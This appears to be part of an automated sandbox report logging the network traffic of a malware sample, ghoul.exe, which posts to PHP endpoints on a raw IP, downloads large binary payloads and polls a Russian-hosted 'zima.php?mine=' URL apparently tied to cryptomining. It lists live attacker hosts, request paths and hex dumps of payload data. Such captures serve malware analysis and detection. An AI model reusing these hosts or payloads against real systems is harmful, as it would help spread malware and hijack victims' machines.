                                                                              Jan 3, 2023 08:15:56.268662930 CET189OUTData Raw: 34 32 69 6c 37 30 64 36 42 69 64 66 65 6b 50 49 39 63 30 37 25 32 66 49 70 4b 42 6a 65 25 32 66 34 64 36 50 7a 7a 36 55 76 65 6a 76 33 7a 51 41 6d 50 77 70 4d 65 31 4c 36 66 6c 53 66 7a 6f 47 42 48 25 32 66 77 43 6f 30 32 6e 48 72 51 63 25 32 66
                                                                              Data Ascii: 42il70d6BidfekPI9c07%2fIpKBje%2f4d6Pzz6Uvejv3zQAmPwpMe1L6flSfzoGBH%2fwCo02nHrQc%2fjQMb0zSH8vrT%2fwBBTe3rQMTtjt0pOpHT6U7HI60gGfpQMT055pOlLjj%2fABpCOaBgc0EdPf0o%2fnikP%2bfrSGHb9KT9KU8Adv5Ufz9qBjT%2bufxo6epx6%2btL6d88UhPB78d%2fSgBMD2pDTs8%2fWjGc%
                                                                              Jan 3, 2023 08:15:56.296571970 CET192OUTData Raw: 46 46 48 4e 41 42 52 7a 52 33 6f 6f 41 53 6b 70 33 4e 4a 51 4d 53 69 6c 70 4b 59 42 52 6d 69 69 6e 63 41 42 70 34 6b 59 64 36 5a 7a 53 55 42 59 6c 4c 71 33 33 6c 7a 37 6a 69 6d 6d 4f 4d 25 32 66 64 62 48 31 70 74 46 46 6b 4d 51 77 4d 4f 6e 7a 66
                                                                              Data Ascii: FFHNABRzR3ooASkp3NJQMSilpKYBRmiincABp4kYd6ZzSUBYlLq33lz7jimmOM%2fdbH1ptFFkMQwMOnzfSoypB5%2fWpdxFPEuR82D9aLD5mitSVZKxN22%2fSmm3z91gfalYfMiCintG6dVI%2fCmUitxKKWimMSjFFFACUUtFAxpFFOpKQCGg0UGmMSiiigBKKKKBiUnNOpKYxOaKOaOaBhSUvNGKAEpKcaT0oGJSY6U6k%2
                                                                              Jan 3, 2023 08:15:56.296714067 CET210OUTData Raw: 39 4f 6e 6b 25 32 66 4c 6a 72 31 35 36 39 73 56 35 61 6a 42 53 6a 79 32 33 58 55 36 5a 38 25 32 66 73 35 58 62 32 66 54 79 50 4e 71 4b 4b 4b 25 32 62 77 50 7a 6b 54 74 52 32 70 61 4b 42 69 55 74 46 46 41 42 52 52 52 51 41 6e 65 69 6c 70 50 57 67
                                                                              Data Ascii: 9Onk%2fLjr1569sV5ajBSjy23XU6Z8%2fs5Xb2fTyPNqKKK%2bwPzkTtR2paKBiUtFFABRRRQAneilpPWgAooooAKKKKACkpaKACjtRRQAlFFL2oGJRRS0AJRRRQAUUUUAFFFFABSGlooASil9KSgAooooGFFFFABik6UtFMApKXvSUAFHNFFACUUUUDCiiigAo5oooASilooGFFFFAAaSlNJQAUUUUAJRQaKACiiigApKWigYl
                                                                              Jan 3, 2023 08:15:56.296926975 CET230OUTData Raw: 70 53 45 59 7a 6a 70 36 6d 6b 4d 43 4f 4f 6d 44 53 64 25 32 66 38 61 58 48 4a 35 35 39 65 25 32 62 61 54 72 39 44 7a 7a 36 55 44 45 37 65 6e 73 61 4f 70 39 25 32 66 65 67 39 52 6e 6e 33 37 30 76 59 66 6c 51 41 6e 59 65 68 6f 50 76 77 52 36 63 55
                                                                              Data Ascii: pSEYzjp6mkMCOOmDSd%2f8aXHJ559e%2baTr9Dzz6UDE7ensaOp9%2feg9Rnn370vYflQAnYehoPvwR6cUE8%2b%2ftS5xj09qQxp6n%2bR60Zz9PypTxn%2bvrSenf9RTAM49iT%2fk0Hpj0o9fU%2blHYe3rSAD%2bYPryaOv4%2btHQe%2fP5UE%2f1pDD8Of8APJpD174PtS9s9Pp60g7%2fANKAAnHsT6UgOAPY9v50pxg
                                                                              Jan 3, 2023 08:15:56.297081947 CET233OUTData Raw: 46 46 46 41 77 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 6b 41 55 55 55 55 41 46 46 46 46 41 42 52 52 52 54 41 4b 51 30 74 46 41 43 59 6f 70 61 51 30 41 46 46 46 46 41 42 53 55 74 42 6f 47 4a 52 52 52 51 41 55 55 55 55 41 4a 52 53 30 6e 65 67 59
                                                                              Data Ascii: FFFAwooooAKKKKACiiikAUUUUAFFFFABRRRTAKQ0tFACYopaQ0AFFFFABSUtBoGJRRRQAUUUUAJRS0negYUUUUAJS9qSigAooooAKQ0tFAxKKDRQAUUUUAFBoooGJRSmjFACUUUUDEooopgFFFFAxKKU0lIApKWkpgFFFFABRRSUxhRRRQAhopaSmAUUUnrQMXvSUUUAFFFFACUUGigAoooNAwopKWmAHpSUUUAKaSiigBKKWko
                                                                              Jan 3, 2023 08:15:58.563743114 CET327INHTTP/1.1 200 OK
                                                                              Date: Tue, 03 Jan 2023 07:15:56 GMT
                                                                              Server: Apache
                                                                              X-Powered-By: PHP/7.2.34
                                                                              Keep-Alive: timeout=5, max=100
                                                                              Connection: Keep-Alive
                                                                              Transfer-Encoding: chunked
                                                                              Content-Type: text/html; charset=UTF-8
                                                                              Data Raw: 33 0d 0a ef bb bf 0d 0a
                                                                              Data Ascii: 3
                                                                              Jan 3, 2023 08:15:58.578769922 CET327INData Raw: 30 0d 0a 0d 0a
                                                                              Data Ascii: 0
                                                                              Jan 3, 2023 08:15:59.400368929 CET327OUTPOST /VERBORROV.php HTTP/1.1
                                                                              Content-Type: application/x-www-form-urlencoded
                                                                              Host: 179.43.141.116
                                                                              Content-Length: 13
                                                                              Expect: 100-continue
                                                                              Jan 3, 2023 08:15:59.481137037 CET327INHTTP/1.1 100 Continue
                                                                              Jan 3, 2023 08:15:59.555404902 CET329INHTTP/1.1 200 OK
                                                                              Date: Tue, 03 Jan 2023 07:15:59 GMT
                                                                              Server: Apache
                                                                              X-Powered-By: PHP/7.2.34
                                                                              Content-Description: File Transfer
                                                                              Content-Disposition: attachment; filename=ver.phonk
                                                                              Content-Transfer-Encoding: binary
                                                                              Expires: 0
                                                                              Cache-Control: must-revalidate
                                                                              Pragma: public
                                                                              Content-Length: 670224
                                                                              Content-Type: application/octet-stream
                                                                              Data Raw: fe 9d f6 9d ed be 59 30 de 7b 8a 64 a6 d8 c7 2d 73 81 ce 73 43 75 02 ba 52 42 13 a6 7a 8b a4 24 d1 99 24 46 17 32 9c 62 bf ab 93 16 ad aa f9 a1 db ce 1d 0c 0c 2d bc 37 56 28 f6 26 5d 84 c8 8c 97 19 77 c7 fa 0c 71 3c 0b 91 4e 09 6f 83 f3 2d 16 a9 ed e2 b4 66 d8 57 30 1a 9f 13 12 90 ea 89 ac 32 95 9c bd 94 ee c9 b9 04 d4 47 ca c4 8b 72 11 a6 79 7c c3 56 00 85 e7 15 0c 2d da ac 03 77 74 63 62 ed 22 dc cd 23 2b 17 2e 47 62 20 dd bd cc 88 3c ea 60 4e c1 53 40 40 e6 15 82 b8 76 5a 4a f7 bf 2f 9b 75 8b 93 d0 32 ec 6b 1d f2 94 2f 96 dd 9d 76 33 d8 7d c1 e7 b0 7c 26 42 9f 4a 13 1c 2d f3 94 a6 e2 18 21 94 d8 ad 6f 9a 0b 6b 01 ea 53 ac 9c c9 b3 fd 11 80 d2 39 13 69 d4 99 b2 86 cf 1f 41 99 34 8a 09 a3 c8 6a 05 74 d8 55 d3 e3 52 e5 b3 67 db d5 bd 05 80 ed ea d7 69 31 df 12 a1 2b b1 5c dd 75 a9 b3 13 40 5f f5 82 f4 59 a3 b3 f4 91 54 3a 27 36 32 63 bc e1 95 f6 d4 f2 9f c9 9e eb f0 8c 64 62 3d ce e9 fe 97 4c 81 1b f6 dc 6b 2d 7e c5 30 49 3a 33 79 43 55 25 71 46 96 e5 5a 3f 9e 9e 79 51 02 38 97 95 8f 1b bd 1e 8c 05 7b 7d 95 bf 03 33 1f 45 78 7a 92 56 a0 5d 8c fa b8 8b 73 aa cf d8 dc 14 f6 5f b7 6d 4c 1b 53 4f 61 32 ab a1 93 3d 5d 08 6e 28 eb 8b 87 9f 71 fa e9 d1 8a 22 59 1a 48 48 1b e0 a0 eb d6 3d 6a 3b bd 9b 9e 88 56 88 4f e4 bf 3d 59 2f 51 06 c7 02 6a 6a fc b7 b3 2c 91 4a 5a d7 32 f5 25 c5 91 7f 4a 86 09 6f e1 56 9d 46 04 8a 1d 89 77 3f 97 14 28 bd c9 99 de 2f e4 0b 0a 3b 40 0d fc 8c 02 04 de de b4 f9 9a 89 44 be 40 c6 33 49 f6 bb cf 89 ee da 4a 14 d7 71 44 05 4a f5 44 c1 7c 46 e5 db 57 3c 53 6c 91 2c 9c 81 e7 43 ef b1 1e 1d a8 07 0d 11 5a 16 08 7c 15 50 61 d0 0b 9f bc f5 be 87 23 73 00 9a 8b ba 78 8f 94 50 cb 9c dc 82 d0 be 99 72 5b c3 f3 66 3b fd 4b c0 11 0f 74 c4 d0 49 6e 56 73 75 bd 5a bd e2 75 1a 43 91 c2 d5 80 06 9d a1 98 a1 14 c1 99 79 5e eb 88 df 49 cd df f5 de b8 4e 5a ae dd 38 87 95 48 d7 33 ac d1 80 15 e4 9c f3 f6 e1 97 5c 58 ff 3d 40 d6 b5 0e 19 80 f1 e4 16 e5 63 3d 11 70 60 ed 86 7e fb 31 92 2d b9 8f 1e 03 75 0e c6 1f 0b 8f 0a 25 d9 c0 90 ae 4b 88 bd e4 3d 6b f1 ba 51 3a 5d 96 72 b0 d7 14 fd a7 94 4a b7 74 c2 9c 20 3f 48 2d 20 0b 89 7f 21 68 59 d8 0d a8 b2 d6 3b 1f 86 50 5a 55 99 66 70 95 3a f1 bb 78 04 e1 42 f2 eb 75 23 82 c3 af 3f 34 ae 07 2f b8 ea e3 19 9a 8a 5a 19 71 94 0e f9 bb 3d 30 83 9f 64 98 bc bd ab 6a 6a 67 f7 18 94 f7 7f 74 56 86 1d 59 ce e3 0b b5 92 33 97 8b 55 b3 85 e3 65 94 b7 f2 5c f5 fe 0e f9 48 7e 7f 17 8b 98 43 b9 38 23 eb f6 c6 b1 9a ab a5 26 bd 5b 11 0f 74 99 26 21 3a 6e 3c c2 f7 c9 85 9a 9f 5e 39 48 35 57 69 3a 0b 9d 75 58 9c e5 47 bb a6 b6 55 da 66 26 fb 9b 62 ab 6d e7 e9 2a 43 22 ea eb 9e e2 86 72 35 6f 1f 03 f8 36 87 63 3c 62 71 ca 12 da f9 4f c0 ee 4e b2 05 27 77 7b 39 fd a1 9f 8b 7d 18 f4 bf 01 f6 1a a0 30 da 27 5b bc a3 5e 03 ad 02 2e fe bf 7c 35 47 ce 3b cc 0f 6b b1 08 6d 40 3c 9c b6 18 d7 0c 7e dc 83 d0 eb aa 71 86 7b 1e 12 29 b5 d0 be 94 71
                                                                              Data Ascii: Y0{d-ssCuRBz$$F2b-7V(&]wq<No-fW02Gry|V-wtcb"#+.Gb <`NS@@vZJ/u2k/v3}|&BJ-!okS9iA4jtURgi1+\u@_YT:'62cdb=Lk-~0I:3yCU%qFZ?yQ8{}3ExzV]s_mLSOa2=]n(q"YHH=j;VO=Y/Qjj,JZ2%JoVFw?(/;@D@3IJqDJD|FW<Sl,CZ|Pa#sxPr[f;KtInVsuZuCy^INZ8H3\X=@c=p`~1-u%K=kQ:]rJt ?H- !hY;PZUfp:xBu#?4/Zq=0djjgtVY3Ue\H~C8#&[t&!:n<^9H5Wi:uXGUf&bm*C"r5o6c<bqON'w{9}0'[^.|5G;km@<~q{)q
                                                                              Jan 3, 2023 08:15:59.555483103 CET330INData Raw: 62 f2 39 78 f1 ff 18 9f 1a 80 73 7b cf 7b 45 b0 dd 31 5b 74 5f d0 d8 cc e7 41 4f a1 c1 23 c1 97 f9 98 b5 7c 77 47 76 6a aa 22 e9 d8 6b 7c 21 d8 c2 9c 2f d2 fd 48 89 05 aa 9b 1f 63 67 7f a7 68 b6 3f 2f cf b8 c5 da 62 54 07 8d d3 62 51 85 1b 04 f8
                                                                              Data Ascii: b9xs{{E1[t_AO#|wGvj"k|!/Hcgh?/bTbQ>'rEBsr]Gus|%4Gb*[ ,aan5M68(p!XBb~UA!c|5j^T(P[qn]z
                                                                              Jan 3, 2023 08:15:59.555541992 CET331INData Raw: 18 c3 ea 5a bb e7 4c f6 7e e8 f3 b2 ca 4f 9f fe 8d cd f8 06 0e 07 d2 ab 92 28 e6 fe e0 88 91 46 94 68 10 d2 b4 01 c7 46 31 97 7b b5 7c 2a 6e c8 94 36 7c 01 6d 4f 8f c0 c9 da b9 b9 c1 4d 8d 65 57 2e 80 a3 24 6b 55 2d fe ae 29 d1 ce 92 39 ac 89 8f
                                                                              Data Ascii: ZL~O(FhF1{|*n6|mOMeW.$kU-)9IiQ2#A`vNJv |,[>NLF<-RQPu~9M4%OKuvpAG!Ds)v'a,ns{K@?:q'@5m'9\ Vd[
                                                                              Jan 3, 2023 08:15:59.555598974 CET332INData Raw: 9c 85 dc 97 b6 aa 52 ad 38 02 ba 56 ba a9 49 09 cb 20 d4 b7 88 e7 d5 95 81 07 8b a6 dd 2f 45 9d 67 11 c3 36 6a 5a f8 14 27 92 22 1e 42 55 97 71 8c 64 58 48 60 43 40 2e 98 1d f0 9a d9 d5 fe 6a 2d 33 bb 5d 09 23 b8 03 20 ff 98 d1 61 ab 42 80 2c 5e
                                                                              Data Ascii: R8VI /Eg6jZ'"BUqdXH`C@.j-3]# aB,^g@j&DLi!+x+XdzS&q:k0KqQw1+}WdL<\)6g1w*Aj4.85U/mY@;'zp;c
                                                                              Jan 3, 2023 08:15:59.555653095 CET334INData Raw: 0b b7 56 b0 67 8b a3 2e 0a 35 29 4d 10 93 79 00 c1 46 38 2c ed dc e4 ae c1 af a8 3e 7b d7 41 7d c8 13 bc cd c6 bd 58 ab 26 60 78 58 48 69 dc 1b 6f 1c cc 03 23 5c fc 94 1b f0 f5 81 45 69 d0 cb d1 8e 91 8a 51 80 df 68 8c 56 1f 1f 22 35 e7 fc 5f e2
                                                                              Data Ascii: Vg.5)MyF8,>{A}X&`xXHio#\EiQhV"5_6V>U{@ji('J,ZdN+0iU<bYze\kB|_A2(Fd2'Qok-(E:>@UEh%`l+\9\m/y7%f8}vnQ
                                                                              Jan 3, 2023 08:15:59.555708885 CET335INData Raw: 47 58 19 bf 66 f0 74 5c 6e b2 6e fe 50 01 0d bb c8 b4 a7 c3 e6 83 40 04 b2 76 42 e8 36 af 0f e1 ff 34 e6 f5 b0 9d 3a 64 88 78 25 55 c8 ad fd f6 2c 5b 1b eb 8e 9b 17 6f da ee 25 c0 19 f2 ec 97 23 57 b2 35 1a e7 7e 1b fb 8c 6e 9f f3 18 48 a9 78 fe
                                                                              Data Ascii: GXft\nnP@vB64:dx%U,[o%#W5~nHxRwX'uO[zC1;awx1JJ#{VzAE&\f/x%P(WyB[]Z~BbS.HuBb@U*8VZA9rz'i
                                                                              Jan 3, 2023 08:15:59.555766106 CET337INData Raw: d2 fd fa 7c 42 f0 4a 30 0b d8 fb d5 e4 27 79 02 ab 74 57 09 13 e8 12 d5 91 6c 5f 5a 05 b7 0d 97 d8 9b ae e8 3f b0 da 40 c8 b8 b2 c2 45 7e 2b ce bd de a7 82 65 81 37 de 0b 12 fd 76 01 4f 9d 96 5e 8a a5 44 f7 8c 75 1d 54 92 88 e9 5d d5 05 9a 94 61
                                                                              Data Ascii: |BJ0'ytWl_Z?@E~+e7vO^DuT]aI<NZJ|l-k.L5@*X=$;;d,e#P\c%<4ANw"jX'?)M9<8E$CXwR!LQ
                                                                              Jan 3, 2023 08:15:59.555821896 CET338INData Raw: 8e fc e0 b5 59 df b4 1a c0 3e 0b 27 9c 3f 41 d4 eb eb a7 cf c2 cb b3 fd b1 7a 5f 2e ad fb 56 50 36 e3 87 5a a6 0c 83 9c 5d 0b 46 0f a5 bd 8f 38 2c 5a 59 c1 1e 2f 49 f1 a9 dd f0 c2 a5 1b 10 94 a9 d9 99 0a c5 34 41 6d b5 fa cb 02 cf 0f a3 87 ef 18
                                                                              Data Ascii: Y>'?Az_.VP6Z]F8,ZY/I4Am$caNu(0K4vAHwZFvPq\V''gT[5cz&jD4 ZE"0yEXV'#~"QQ%ajR9sX(`?Gzh.;E
                                                                              Jan 3, 2023 08:15:59.555876017 CET339INData Raw: fa 19 10 8f 87 80 e8 2e 05 70 4a d5 38 a5 7e 59 16 b6 ce c5 12 bb fc 19 67 a9 23 13 95 ab 25 14 a3 bd 33 d1 83 76 3a 08 81 2c c9 5e 88 1f f7 e7 1e 3c 89 c8 85 40 39 81 27 42 14 3f f9 13 2f da 8a 01 91 4e 9f 71 02 58 9b 3e 9b 48 70 0a d9 7e 23 e7
                                                                              Data Ascii: .pJ8~Yg#%3v:,^<@9'B?/NqX>Hp~##CNcEY[lNA<%-vrzB$a,O}-wy;3:K]].#TZom!9ij2-G.u]`\A3(#pwLt
                                                                              Jan 3, 2023 08:15:59.555932045 CET341INData Raw: 10 01 88 cf d5 d4 28 dd b7 1e 2e 7e df b9 36 1f 8e e9 e8 e4 b8 81 9f 9f 46 81 cf 71 a1 6f b7 24 9e 80 99 a8 6e b6 cd 72 d3 9c ff 4a f4 f0 84 4a 29 7f f4 ab 4a c1 e0 6b 0c 01 8e ad 59 e4 d7 39 a2 95 ba 9d 26 93 74 91 bd e6 87 b5 79 73 22 31 d3 ff
                                                                              Data Ascii: (.~6Fqo$nrJJ)JkY9&tys"1q,wbQYw=P\2=g:<>~hQRZ3YS&\A:*(Is+f-2tfnk=;BbZcVl"daD


                                                                              Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                              1192.168.11.2049868141.8.192.15180C:\Users\user\AppData\Local\Temp\ghoul.exe
                                                                              TimestampkBytes transferredDirectionData
                                                                              Jan 3, 2023 08:16:03.898283958 CET1024OUTGET //zima.php?mine=OTHER HTTP/1.1
                                                                              Host: f0758246.xsph.ru
                                                                              Connection: Keep-Alive
                                                                              Jan 3, 2023 08:16:03.959227085 CET1025INHTTP/1.1 200 OK
                                                                              Server: openresty
                                                                              Date: Tue, 03 Jan 2023 07:16:03 GMT
                                                                              Content-Type: text/html; charset=UTF-8
                                                                              Content-Length: 152
                                                                              Connection: keep-alive
                                                                              Set-Cookie: PHPSESSID=6d82220797b5369fb12b482c876e7c4f; path=/
                                                                              Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                              Cache-Control: no-store, no-cache, must-revalidate
                                                                              Pragma: no-cache
                                                                              Data Raw: 77 7a 38 77 70 48 66 6b 4e 6c 64 4f 58 7a 39 78 41 6f 61 58 6a 2f 77 4b 66 6a 4e 43 6b 79 79 74 4b 43 6c 50 50 6e 36 6d 51 6f 4e 34 37 71 46 75 36 46 4e 43 52 66 6a 6c 30 57 4b 41 6a 55 62 74 38 61 54 38 6b 4b 5a 56 78 73 36 4f 45 59 2b 39 39 70 42 78 47 6b 39 55 70 72 78 79 46 44 44 4b 39 2b 56 4e 2b 76 77 4f 64 71 70 72 35 73 41 41 52 47 49 30 36 6f 70 37 4d 69 32 53 56 53 73 31 53 62 43 51 56 6c 38 35 58 39 31 2b 36 4f 32 6c 49 2b 49 2f 6e 41 3d 3d
                                                                              Data Ascii: wz8wpHfkNldOXz9xAoaXj/wKfjNCkyytKClPPn6mQoN47qFu6FNCRfjl0WKAjUbt8aT8kKZVxs6OEY+99pBxGk9UprxyFDDK9+VN+vwOdqpr5sAARGI06op7Mi2SVSs1SbCQVl85X91+6O2lI+I/nA==
                                                                              Jan 3, 2023 08:16:10.843900919 CET6089OUTGET //zima.php?mine=ETC HTTP/1.1
                                                                              Host: f0758246.xsph.ru
                                                                              Jan 3, 2023 08:16:10.907437086 CET6090INHTTP/1.1 200 OK
                                                                              Server: openresty
                                                                              Date: Tue, 03 Jan 2023 07:16:10 GMT
                                                                              Content-Type: text/html; charset=UTF-8
                                                                              Content-Length: 152
                                                                              Connection: keep-alive
                                                                              Set-Cookie: PHPSESSID=1a4ff01fd56c96904751ac2ccb73f4b6; path=/
                                                                              Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                              Cache-Control: no-store, no-cache, must-revalidate
                                                                              Pragma: no-cache
                                                                              Data Raw: 70 53 62 4f 47 4a 30 56 52 55 53 7a 58 54 65 4e 77 45 41 4c 31 71 4a 51 43 32 34 72 74 55 6d 5a 50 5a 34 51 75 31 67 78 39 6f 2f 77 6f 67 53 53 49 4b 67 54 4c 4c 45 65 45 62 70 68 6f 4b 6a 4e 58 76 30 45 69 32 50 52 30 6c 42 75 61 6f 62 33 36 68 6e 56 4c 32 50 49 4d 74 43 30 67 38 67 77 44 5a 32 2f 4c 46 59 59 68 38 52 34 73 47 4f 46 55 6c 30 6b 67 63 45 79 46 30 63 72 4d 5a 31 35 36 58 34 53 42 2b 6a 5a 6d 38 74 79 46 65 2f 6d 66 4f 42 5a 44 67 3d 3d
                                                                              Data Ascii: pSbOGJ0VRUSzXTeNwEAL1qJQC24rtUmZPZ4Qu1gx9o/wogSSIKgTLLEeEbphoKjNXv0Ei2PR0lBuaob36hnVL2PIMtC0g8gwDZ2/LFYYh8R4sGOFUl0kgcEyF0crMZ156X4SB+jZm8tyFe/mfOBZDg==


                                                                              Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                              2192.168.11.2049869179.43.141.11680C:\Users\user\AppData\Local\Temp\ghoul.exe
                                                                              TimestampkBytes transferredDirectionData
                                                                              Jan 3, 2023 08:16:05.580096960 CET1026OUTPOST /DLCGHOUL.php HTTP/1.1
                                                                              Content-Type: application/x-www-form-urlencoded
                                                                              Host: 179.43.141.116
                                                                              Content-Length: 13
                                                                              Expect: 100-continue
                                                                              Jan 3, 2023 08:16:05.668154001 CET1026INHTTP/1.1 100 Continue
                                                                              Jan 3, 2023 08:16:05.668474913 CET1026OUTData Raw: 69 64 3d 35 30 36 34 30 34 37 37 33 35
                                                                              Data Ascii: id=5064047735
                                                                              Jan 3, 2023 08:16:05.776266098 CET1027INHTTP/1.1 200 OK
                                                                              Date: Tue, 03 Jan 2023 07:16:05 GMT
                                                                              Server: Apache
                                                                              X-Powered-By: PHP/7.2.34
                                                                              Content-Description: File Transfer
                                                                              Content-Disposition: attachment; filename=test3.phonk
                                                                              Content-Transfer-Encoding: binary
                                                                              Expires: 0
                                                                              Cache-Control: public
                                                                              Pragma: public
                                                                              Content-Length: 4839952
                                                                              Content-Type: application/octet-stream
                                                                              Data Raw: fe 9d f6 9d ed be 59 30 de 7b 8a 64 a6 d8 c7 2d 73 81 ce 73 43 75 02 ba 52 42 13 a6 7a 8b a4 24 d1 99 24 46 17 32 9c 62 bf ab 93 16 ad aa f9 a1 db ce 1d 0c 0c 2d bc 37 56 28 f6 26 5d 84 c8 8c 97 19 77 c7 fa 0c 71 3c 0b 91 4e 09 6f 83 f3 2d 16 a9 ed e2 b4 66 d8 57 30 1a 9f 13 12 90 ea 89 ac 32 95 9c bd 94 ee c9 b9 04 d4 47 ca c4 8b 72 11 a6 79 7c c3 56 00 85 e7 15 0c 2d da ac 03 77 32 48 a3 31 8a 53 9c 18 c0 c8 d6 68 78 3a 00 45 b6 40 71 d1 5c 0e d4 e3 59 96 9e e7 8c 78 af 2f 5c 26 b4 48 a8 ac bf 10 f8 04 78 52 e3 df 3b e5 89 01 c7 4e 38 ff e0 77 d7 c6 05 96 0d 6f af d3 a8 a7 61 92 06 f3 ad 9b 7c 72 41 f1 fc fe f6 c9 93 8f f0 7c b7 62 df 45 f1 22 3d 59 00 96 df 75 bd 64 94 0a f6 16 10 a0 dd 9e d0 5f dd 4a 92 bf d9 82 1f 11 58 0d 28 3b 87 db 0b 99 05 53 6a e3 ca fd 61 82 b0 a6 fd 65 78 cc 41 2f d2 ca 5a 26 2e 58 ff 97 fd 21 05 e2 25 93 95 cf ff 03 ad fc 65 75 4c 7f 98 58 fa 46 49 0b 45 17 5d f2 9d 9c dd 25 27 e7 54 c5 87 e4 f3 e6 5a e5 22 10 b9 30 92 d8 6c a4 ef d6 a2 1c cb 22 70 70 e7 07 dc 06 9f c9 b6 e4 db a1 ec bb ac 5b 1b 13 8b 87 65 38 80 b2 4d 37 d3 03 29 d5 a4 a5 ee ea 4c 08 cd 68 8a e4 d6 3f 7d d4 5b 53 db 9a b2 6e cb fa 87 81 85 5e a5 d5 ff 35 61 86 42 c7 eb 7e d8 8c df ea aa 39 7f 2c f5 84 dd b0 88 64 ae 9d 04 1e 2f e5 ef f8 3f 1f 6b be 6c 8a 49 7b 2b ee f9 03 49 e1 6c bd 01 a6 3f bf 9e 53 a7 24 44 81 6c c3 3a c2 4b 00 a5 0b 1e ed 95 a2 fb e6 74 f0 0f f9 99 6f 4c 23 c1 50 71 51 17 dd 91 63 0b 18 a3 28 36 30 cf 36 19 73 1f 92 0a a6 66 c6 27 04 62 ee fe 71 f3 88 fd 36 4b 7f 7a fe 2d d3 e5 c0 17 87 85 7c 76 fe e8 e1 92 49 a1 1a 5d 88 df f0 6d 13 90 3e d0 a7 9a 63 81 1b e0 ec 4b 00 64 0e b9 c6 ab 9c 39 e7 81 75 89 1f ad 03 8b a3 1b 77 15 5c 3b ba b0 dc a6 24 c8 23 34 76 e4 57 83 43 ff 8f 8f 1c bd 4d c0 6f a6 f9 30 ea 21 5b 73 ca 80 96 78 67 81 5b 74 67 b0 8e d0 02 fe af ec d9 35 0e d8 4a 64 76 83 3f f3 9a 37 78 92 b3 fd b7 e3 0c 8a eb 2d d1 e2 2b 6a f5 c1 fc 1f 72 9a 69 e7 9f f6 0f f3 c7 e4 68 69 31 f5 eb 0a 40 1b 93 a9 8f 25 58 8a 79 41 69 f5 33 6c 9e c6 9f 67 cf b6 48 3f 13 07 c1 a5 ed 3e 64 85 38 cc 16 41 49 c1 d3 e8 ca e9 a8 5d 55 76 d5 d1 dc a4 1c 8f f3 40 e4 bd 5f d2 36 b2 b8 65 a8 23 e4 53 b2 16 85 ce de 1a a0 a7 ef d3 df ab b1 a7 03 96 ff e1 cb 82 aa 3b ac f4 75 a7 37 3d 6e 41 9e a6 73 39 d4 68 55 a8 ac ef 6f fa c2 ec be 32 70 85 42 3d 3c 86 cd a2 78 55 76 f3 49 f5 ef 6d 50 90 1f 55 cb d1 55 ed 43 b3 3f cc 47 d7 d2 78 96 3b 37 83 17 35 c5 e5 53 e6 99 67 52 6c 49 b4 d8 90 a4 4d f7 8b 86 c6 c0 47 a2 be 6c 65 d1 6b b6 57 d1 6a 24 9c bd 07 13 9b d9 be cf 95 fd 5e ab ad 6f 90 29 7a be 83 86 83 1e 65 e5 76 72 a5 84 32 ed 79 96 e1 ee d7 e3 1b 2c bc ca 98 d6 8d a1 0c b6 7e 4a 62 aa ec 3f 6f 4a ee 90 14 e0 26 53 20 b7 40 95 6a d1 28 94 8e 57 28 61 6a a5 00 4c 27 c5 88 af 22 aa 55 bf 71 87 10 94 fe f1 4d a5 e5 2c 82 f5 c9 dc c7 3f b9 4a e6 20 27 c3 9c f9 e4 f0 22 3f 99 dc ab 09 c2 f5
                                                                              Data Ascii: Y0{d-ssCuRBz$$F2b-7V(&]wq<No-fW02Gry|V-w2H1Shx:E@q\Yx/\&HxR;N8woa|rA|bE"=Yud_JX(;SjaexA/Z&.X!%euLXFIE]%'TZ"0l"pp[e8M7)Lh?}[Sn^5aB~9,d/?klI{+Il?S$Dl:KtoL#PqQc(606sf'bq6Kz-|vI]m>cKd9uw\;$#4vWCMo0![sxg[tg5Jdv?7x-+jrihi1@%XyAi3lgH?>d8AI]Uv@_6e#S;u7=nAs9hUo2pB=<xUvImPUUC?Gx;75SgRlIMGlekWj$^o)zevr2y,~Jb?oJ&S @j(W(ajL'"UqM,?J '"?
                                                                              Jan 3, 2023 08:16:05.776283026 CET1028INData Raw: 06 c6 af 07 09 58 2f 76 68 f0 96 d4 db 87 81 5f ac 38 85 9a 0f e4 d3 12 2c 7b b0 b9 ea d1 8d 88 75 82 8a 9f a5 59 e5 09 87 a7 97 97 94 1b b3 58 3c 02 2a bb 75 36 30 24 28 34 6b f9 2c ac 17 3c 02 56 6a 0a f0 5a b7 a5 4e b4 00 1e 1f 9a 26 b5 83 90
                                                                              Data Ascii: X/vh_8,{uYX<*u60$(4k,<VjZN&y&WP?uxcB70DmN+73oAFV4L_\!/ [wS'0B{/'X5'(/F#ha`t2QK(.
                                                                              Jan 3, 2023 08:16:05.776324034 CET1030INData Raw: d3 7b 78 0d b3 d9 14 56 d0 09 26 88 1b 40 bf 3a c2 30 fd a0 82 17 7b 2a c6 af 6a 69 a0 73 e8 9d 0b d7 df ed ad ec 7f fd a1 b4 cf 64 74 ff 0e e7 7a c8 db ed e7 9a ae b4 dc c3 20 08 e4 7a 9e 40 18 62 7b 86 19 14 0e 62 04 04 58 82 91 7c a0 31 b6 d0
                                                                              Data Ascii: {xV&@:0{*jisdtz z@b{bX|1=I-IN{?!kOM,hfhlqSYF92ntUnl9@.Rak|>0V@C7hCO/ekgR`H:"CE!C)_^
                                                                              Jan 3, 2023 08:16:05.776397943 CET1031INData Raw: cb 44 52 a1 81 46 2f 21 bf b7 b9 e5 d5 fe e1 3c 7b 6a d2 da e7 6d 45 62 bd 29 dd 55 e1 a0 cc 26 7a 4e 4b 22 f9 5f b2 c3 1d eb 7b 93 ee 8d ad 10 27 64 74 5b 04 e0 4b 4a ec ed 60 46 5b f1 52 62 a3 67 9c 58 d0 9e 1c f3 27 37 31 3e 8c fa d6 2e cc 23
                                                                              Data Ascii: DRF/!<{jmEb)U&zNK"_{'dt[KJ`F[RbgX'71>.#o*lUMmRH=Y|;"3,NSZm[%*}g 1#K/2B21B(Ey4Qei1\yTWlZ7gZ\sk3:sXSO
